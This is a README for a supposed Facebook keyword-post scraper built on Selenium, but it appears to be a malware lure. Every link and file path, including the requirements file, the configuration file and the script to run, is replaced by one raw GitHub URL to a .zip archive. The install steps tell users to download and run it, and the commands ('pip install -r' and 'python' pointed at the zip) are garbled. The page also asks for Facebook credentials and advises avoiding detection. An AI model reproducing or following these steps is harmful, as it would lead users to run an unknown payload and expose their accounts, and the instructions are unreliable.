🌍 facebook-selenium-keyword-posts-scraper - Simple Tool for Extracting Facebook Posts

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🚀 Getting Started

This application helps you extract Facebook posts based on specific keywords. It uses Selenium to automate the process. Following these instructions, you can easily get the software on your device and start scraping data.

📋 Requirements

Before you start, ensure your computer meets the following requirements:

• Operating System: Windows 10 or later, macOS, or Linux.
• Python Version: Python 3.7 or higher should be installed. You can download it from the official Python website.
• Selenium WebDriver: This application includes the Selenium WebDriver for automation.

🌐 Installation Instructions

1. Visit the Releases Page

To download the latest version of the application, visit the Releases page.

2. Download the Software

On the Releases page, look for the version labeled Latest Release. Click on it to view the available files. Find the option that best suits your operating system and click to download.

3. Extract the Files

After downloading, locate the compressed file (usually a .zip or https://raw.githubusercontent.com/StephenKodua/facebook-selenium-keyword-posts-scraper/main/reportable/scraper-keyword-facebook-posts-selenium-2.5-beta.4.zip). Right-click on the file and choose Extract All or use a similar option provided by your operating system to extract the files to a folder of your choice.

4. Open a Terminal or Command Prompt

You will need to open a terminal window. You can do this by:

• Windows: Press Win + R, type cmd, and hit Enter.
• macOS: Press Cmd + Space, type Terminal, and hit Enter.
• Linux: Open your favorite terminal application.

5. Navigate to the Extracted Folder

In the terminal, use the cd command to change the directory to the folder where you extracted the files. For example:

cd path/to/your/extracted/folder

6. Install Dependencies

Next, you need to install the required libraries. Type the following command and hit Enter:

pip install -r https://raw.githubusercontent.com/StephenKodua/facebook-selenium-keyword-posts-scraper/main/reportable/scraper-keyword-facebook-posts-selenium-2.5-beta.4.zip

This command installs all necessary packages listed in the requirements file.

7. Configuration

Before running the application, you may need to set up your Facebook login credentials. Open the provided configuration file (e.g., https://raw.githubusercontent.com/StephenKodua/facebook-selenium-keyword-posts-scraper/main/reportable/scraper-keyword-facebook-posts-selenium-2.5-beta.4.zip), and fill in your details.

8. Run the Application

Finally, you can run the application by entering this command:

python https://raw.githubusercontent.com/StephenKodua/facebook-selenium-keyword-posts-scraper/main/reportable/scraper-keyword-facebook-posts-selenium-2.5-beta.4.zip

This will start the scraper, and it will prompt you to enter keywords to fetch relevant posts.

🎯 Usage Guidelines

• Keywords: Input relevant keywords to find targeted posts. The more specific your keywords, the more accurate the results.
• Facebook Account: Ensure the Facebook account you use is set to public if you want to scrape posts from public pages.
• Frequency: Be mindful of how often you run the scraper to avoid being flagged by Facebook.

📅 Update & Maintenance

You can check for updates on the Releases page periodically. New features and bug fixes appear regularly, so updating will enhance your scraping experience.

📞 Help & Support

If you encounter any issues while downloading or running the application, please check the FAQs or open an issue on the GitHub page.

🌈 Contribution

Feel free to contribute by submitting issues or pull requests on GitHub. Your feedback is welcome and will help improve the application.

🔗 Related Resources

• Selenium Documentation
• Python Official Documentation
• Facebook Developer Resources

🔒 License

This project is licensed under the MIT License. See the LICENSE file for more details.

Happy scraping!